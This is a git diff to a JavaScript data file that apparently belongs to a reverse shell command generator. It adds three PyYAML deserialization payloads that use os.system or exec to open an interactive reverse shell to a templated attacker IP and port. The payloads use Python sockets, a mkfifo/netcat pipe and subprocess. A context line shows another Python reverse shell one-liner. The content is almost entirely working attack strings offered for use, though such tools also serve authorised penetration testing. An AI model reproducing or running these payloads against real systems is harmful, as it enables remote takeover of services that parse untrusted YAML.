diff --git a/js/data.js b/js/data.js index 8900989..af46e93 100644 --- a/js/data.js +++ b/js/data.js @@ -276,6 +276,21 @@ const reverseShellCommands = withCommandType( "name": "Python3 shortest", "command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'", "meta": ["linux"] + }, + { + "name": "Python3 PyYAML (disown detach)", + "command": "!!python/object/apply:os.system\n- \"python3 -c 'import os,pty,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{ip}\\\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.Popen([\\\"{shell}\\\",\\\"-i\\\"],stdin=0,stdout=1,stderr=2);p.wait()' & disown -h\"", + "meta": ["linux", "mac"] + }, + { + "name": "Python3 PyYAML (FIFO detach)", + "command": "!!python/object/apply:os.system\n- \"mkfifo /tmp/f; cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} > /tmp/f &\"", + "meta": ["linux", "mac"] + }, + { + "name": "Python3 PyYAML (direct, no detach)", + "command": "!!python/object/apply:exec\n- |\n import socket,subprocess,os\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect((\"{ip}\",{port}))\n os.dup2(s.fileno(),0)\n os.dup2(s.fileno(),1)\n os.dup2(s.fileno(),2)\n subprocess.call([\"{shell}\",\"-i\"])", + "meta": ["linux", "mac"] }, { "name": "Ruby #1",